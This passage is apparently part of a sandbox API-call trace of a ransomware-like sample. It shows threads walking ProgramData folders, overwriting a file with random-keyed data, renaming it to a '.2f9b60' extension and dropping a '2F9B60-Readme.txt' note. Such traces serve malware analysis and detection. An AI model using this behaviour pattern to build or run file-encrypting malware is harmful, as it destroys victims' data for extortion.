returned="C:\\ProgramData\\Microsoft\\Windows" [0097.322] wcscat (in: _Dest=0x1b7ce7c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0097.322] wcscat (in: _Dest=0x1b7ce7c0, _Source="Templates" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Templates") returned="C:\\ProgramData\\Microsoft\\Windows\\Templates" [0097.322] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7ce7c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x51c [0097.326] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda01e06, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WER", cAlternateFileName="")) returned 1 [0097.326] wcscmp (_String1="WER", _String2=".") returned 1 [0097.326] wcscmp (_String1="WER", _String2="..") returned 1 [0097.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b7ceb20 [0097.326] wcscpy (in: _Dest=0x1b7ceb20, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0097.326] wcscat (in: _Dest=0x1b7ceb20, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0097.326] wcscat (in: _Dest=0x1b7ceb20, _Source="WER" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER") returned="C:\\ProgramData\\Microsoft\\Windows\\WER" [0097.326] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7ceb20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x524 [0097.327] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda01e06, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WER", cAlternateFileName="")) returned 0 [0097.327] FindClose (in: hFindFile=0x1cd86cd0 | out: hFindFile=0x1cd86cd0) returned 1 [0097.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd985b0) returned 1 [0097.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c1c0) returned 1 [0097.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 Thread: id = 197 os_tid = 0xc44 [0086.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1cd86d90 [0086.566] wcscpy (in: _Dest=0x1cd86d90, _Source="C:\\ProgramData\\Microsoft\\Windows NT" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT") returned="C:\\ProgramData\\Microsoft\\Windows NT" [0086.566] wcscat (in: _Dest=0x1cd86d90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\" [0086.566] wcscat (in: _Dest=0x1cd86d90, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\*") returned="C:\\ProgramData\\Microsoft\\Windows NT\\*" [0086.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98820 [0086.567] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\*", lpFindFileData=0x1cd98820 | out: lpFindFileData=0x1cd98820*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86df0 [0086.567] wcscmp (_String1=".", _String2=".") returned 0 [0086.567] FindNextFileW (in: hFindFile=0x1cd86df0, lpFindFileData=0x1cd98820 | out: lpFindFileData=0x1cd98820*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.567] wcscmp (_String1="..", _String2=".") returned 1 [0086.567] wcscmp (_String1="..", _String2="..") returned 0 [0086.567] FindNextFileW (in: hFindFile=0x1cd86df0, lpFindFileData=0x1cd98820 | out: lpFindFileData=0x1cd98820*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSFax", cAlternateFileName="")) returned 1 [0086.567] wcscmp (_String1="MSFax", _String2=".") returned 1 [0086.567] wcscmp (_String1="MSFax", _String2="..") returned 1 [0086.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1cd86e50 [0086.567] wcscpy (in: _Dest=0x1cd86e50, _Source="C:\\ProgramData\\Microsoft\\Windows NT" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT") returned="C:\\ProgramData\\Microsoft\\Windows NT" [0086.567] wcscat (in: _Dest=0x1cd86e50, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\" [0086.567] wcscat (in: _Dest=0x1cd86e50, _Source="MSFax" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax" [0096.781] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd86e50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf7c [0096.782] FindNextFileW (in: hFindFile=0x1cd86df0, lpFindFileData=0x1cd98820 | out: lpFindFileData=0x1cd98820*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 1 [0096.782] wcscmp (_String1="MSScan", _String2=".") returned 1 [0096.782] wcscmp (_String1="MSScan", _String2="..") returned 1 [0096.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1b858f10 [0096.782] wcscpy (in: _Dest=0x1b858f10, _Source="C:\\ProgramData\\Microsoft\\Windows NT" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT") returned="C:\\ProgramData\\Microsoft\\Windows NT" [0096.782] wcscat (in: _Dest=0x1b858f10, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\" [0096.782] wcscat (in: _Dest=0x1b858f10, _Source="MSScan" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan" [0096.782] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b858f10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf80 [0096.783] FindNextFileW (in: hFindFile=0x1cd86df0, lpFindFileData=0x1cd98820 | out: lpFindFileData=0x1cd98820*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 0 [0096.783] FindClose (in: hFindFile=0x1cd86df0 | out: hFindFile=0x1cd86df0) returned 1 [0096.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98820) returned 1 [0096.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86d90) returned 1 [0096.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 Thread: id = 198 os_tid = 0xc48 [0086.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1b82c170 [0086.568] wcscpy (in: _Dest=0x1b82c170, _Source="C:\\ProgramData\\Microsoft\\WwanSvc" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc") returned="C:\\ProgramData\\Microsoft\\WwanSvc" [0086.568] wcscat (in: _Dest=0x1b82c170, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\" [0086.568] wcscat (in: _Dest=0x1b82c170, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\*") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\*" [0086.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98a90 [0086.569] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\*", lpFindFileData=0x1cd98a90 | out: lpFindFileData=0x1cd98a90*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86eb0 [0086.570] wcscmp (_String1=".", _String2=".") returned 0 [0086.570] FindNextFileW (in: hFindFile=0x1cd86eb0, lpFindFileData=0x1cd98a90 | out: lpFindFileData=0x1cd98a90*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.570] wcscmp (_String1="..", _String2=".") returned 1 [0086.570] wcscmp (_String1="..", _String2="..") returned 0 [0086.570] FindNextFileW (in: hFindFile=0x1cd86eb0, lpFindFileData=0x1cd98a90 | out: lpFindFileData=0x1cd98a90*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0086.570] wcscmp (_String1="Profiles", _String2=".") returned 1 [0086.570] wcscmp (_String1="Profiles", _String2="..") returned 1 [0086.570] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1cd86f10 [0086.570] wcscpy (in: _Dest=0x1cd86f10, _Source="C:\\ProgramData\\Microsoft\\WwanSvc" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc") returned="C:\\ProgramData\\Microsoft\\WwanSvc" [0086.570] wcscat (in: _Dest=0x1cd86f10, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\" [0086.570] wcscat (in: _Dest=0x1cd86f10, _Source="Profiles" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles" [0097.412] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd86f10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x930 [0097.413] FindNextFileW (in: hFindFile=0x1cd86eb0, lpFindFileData=0x1cd98a90 | out: lpFindFileData=0x1cd98a90*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0 [0097.413] FindClose (in: hFindFile=0x1cd86eb0 | out: hFindFile=0x1cd86eb0) returned 1 [0097.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98a90) returned 1 [0097.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c170) returned 1 [0097.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c2b0) returned 1 Thread: id = 199 os_tid = 0xc4c [0086.574] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\Hx.hxn" (normalized: "c:\\programdata\\microsoft help\\hx.hxn")) returned 0x2022 [0086.575] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\Hx.hxn", dwFileAttributes=0x20) returned 1 [0086.575] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\Hx.hxn" (normalized: "c:\\programdata\\microsoft help\\hx.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x96c [0086.575] GetFileSizeEx (in: hFile=0x96c, lpFileSize=0x201bfdc0 | out: lpFileSize=0x201bfdc0*=390) returned 1 [0086.575] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x182, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.575] ReadFile (in: hFile=0x96c, lpBuffer=0x201bfd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x201bfd88, lpOverlapped=0x0 | out: lpBuffer=0x201bfd40*, lpNumberOfBytesRead=0x201bfd88*=0x4, lpOverlapped=0x0) returned 1 [0086.576] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b080 [0086.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b050 [0086.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ae70 [0086.577] NtQuerySystemTime (in: CurrentTime=0x201bfc80 | out: CurrentTime=0x201bfc80*=132462176924530000) returned 0x0 [0086.577] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x1619d5ca [0086.577] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x6ab90427 [0086.577] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x1274a4f2 [0086.577] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x2fb2d5a2 [0086.577] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x3e103e61 [0086.577] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x670c7727 [0086.577] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x6bc6d25c [0086.577] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x5d6f22be [0086.577] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x31c82fef [0086.577] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x43b3f120 [0086.577] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x66332131 [0086.577] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x394d7357 [0086.577] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x669ca911 [0086.577] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x5ac7efb7 [0086.577] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x30319b33 [0086.577] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x555758c3 [0086.577] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x2ff88ff3 [0086.577] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x399adb0b [0086.578] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x4224cce2 [0086.578] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x411f9ef7 [0086.578] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x11e2a730 [0086.578] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x295ae5f2 [0086.578] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x58fb034b [0086.578] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x57a7d689 [0086.578] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x5fe8b839 [0086.578] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x5632ea15 [0086.578] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x15caef6 [0086.578] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x346dea08 [0086.578] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x2ad8a823 [0086.578] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x1956d2ad [0086.578] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x38c2d7b2 [0086.578] RtlRandomEx (in: Seed=0x201bfc70 | out: Seed=0x201bfc70) returned 0x53dd5ff1 [0086.588] ReadFile (in: hFile=0x96c, lpBuffer=0x1cda08c0, nNumberOfBytesToRead=0x186, lpNumberOfBytesRead=0x201bfc70, lpOverlapped=0x0 | out: lpBuffer=0x1cda08c0*, lpNumberOfBytesRead=0x201bfc70*=0x186, lpOverlapped=0x0) returned 1 [0086.588] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.588] WriteFile (in: hFile=0x96c, lpBuffer=0x1cda44d0*, nNumberOfBytesToWrite=0x186, lpNumberOfBytesWritten=0x201bfc74, lpOverlapped=0x0 | out: lpBuffer=0x1cda44d0*, lpNumberOfBytesWritten=0x201bfc74*=0x186, lpOverlapped=0x0) returned 1 [0086.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b080 [0086.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ae70 [0086.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ae70) returned 1 [0086.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda44d0) returned 1 [0086.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda08c0) returned 1 [0086.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e710) returned 1 [0086.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0086.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82ae70 [0086.591] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0086.591] WriteFile (in: hFile=0x96c, lpBuffer=0x168d60*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x201bfd90, lpOverlapped=0x0 | out: lpBuffer=0x168d60*, lpNumberOfBytesWritten=0x201bfd90*=0xfe, lpOverlapped=0x0) returned 1 [0086.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97210 [0086.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e710 [0086.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a630 [0086.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a630) returned 1 [0086.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b82d000 [0086.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a630 [0086.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad50 [0086.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ad50) returned 1 [0086.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e710) returned 1 [0086.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0086.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x19) returned 0x1b82ad50 [0086.593] sprintf (in: _Dest=0x1b82ad50, _Format="%c%c" | out: _Dest="27") returned 2 [0086.593] sprintf (in: _Dest=0x1b82ad52, _Format="%c%c" | out: _Dest="1d") returned 2 [0086.593] sprintf (in: _Dest=0x1b82ad54, _Format="%c%c" | out: _Dest="86") returned 2 [0086.593] sprintf (in: _Dest=0x1b82ad56, _Format="%c%c" | out: _Dest="30") returned 2 [0086.593] sprintf (in: _Dest=0x1b82ad58, _Format="%c%c" | out: _Dest="a9") returned 2 [0086.593] sprintf (in: _Dest=0x1b82ad5a, _Format="%c%c" | out: _Dest="18") returned 2 [0086.593] sprintf (in: _Dest=0x1b82ad5c, _Format="%c%c" | out: _Dest="00") returned 2 [0086.593] sprintf (in: _Dest=0x1b82ad5e, _Format="%c%c" | out: _Dest="04") returned 2 [0086.593] sprintf (in: _Dest=0x1b82ad60, _Format="%c%c" | out: _Dest="7f") returned 2 [0086.593] sprintf (in: _Dest=0x1b82ad62, _Format="%c%c" | out: _Dest="88") returned 2 [0086.593] sprintf (in: _Dest=0x1b82ad64, _Format="%c%c" | out: _Dest="7f") returned 2 [0086.593] sprintf (in: _Dest=0x1b82ad66, _Format="%c%c" | out: _Dest="a1") returned 2 [0086.593] RtlInitAnsiString (in: DestinationString=0x201bfe08, SourceString="271d8630a91800047f887fa1" | out: DestinationString="271d8630a91800047f887fa1") [0086.594] RtlAnsiStringToUnicodeString (in: DestinationString=0x201bfdd8, SourceString="271d8630a91800047f887fa1", AllocateDestinationString=1 | out: DestinationString="271d8630a91800047f887fa1") returned 0x0 [0086.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9eeb0 [0086.594] wcscat (in: _Dest=0x1cd86f70, _Source="271d86" | out: _Dest="C:\\ProgramData\\Microsoft Help\\271d86") returned="C:\\ProgramData\\Microsoft Help\\271d86" [0086.594] wcscat (in: _Dest=0x1cd86f70, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft Help\\271d86.2f9b60") returned="C:\\ProgramData\\Microsoft Help\\271d86.2f9b60" [0086.594] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\271d86.2f9b60", NtPathName=0x201bfdb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\271d86.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0086.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85e710 [0086.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e710) returned 1 [0086.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0086.597] NtQueryInformationFile (in: FileHandle=0x96c, IoStatusBlock=0x201bfe18, FileInformation=0x201bfe28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x201bfe18, FileInformation=0x201bfe28) returned 0x0 [0086.597] NtSetInformationFile (FileHandle=0x96c, IoStatusBlock=0x201bfe18, FileInformation=0x201bfe28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0086.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86f70) returned 1 [0086.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9eeb0) returned 1 [0086.599] FlushFileBuffers (hFile=0x96c) returned 1 [0086.605] CloseHandle (hObject=0x96c) returned 1 [0086.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e480 [0086.608] wcscpy (in: _Dest=0x1b86e480, _Source="C:\\ProgramData\\Microsoft Help\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0086.608] wcscat (in: _Dest=0x1b86e480, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" [0086.608] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft help\\2f9b60-readme.txt")) returned 0xffffffff [0086.608] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft help\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x96c [0086.610] WriteFile (in: hFile=0x96c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x201bfcd0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x201bfcd0*=0xba9, lpOverlapped=0x0) returned 1 [0086.612] CloseHandle (hObject=0x96c) returned 1 [0086.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e480) returned 1 [0086.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858730) returned 1 Thread: id = 200 os_tid = 0xc50 [0086.617] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft 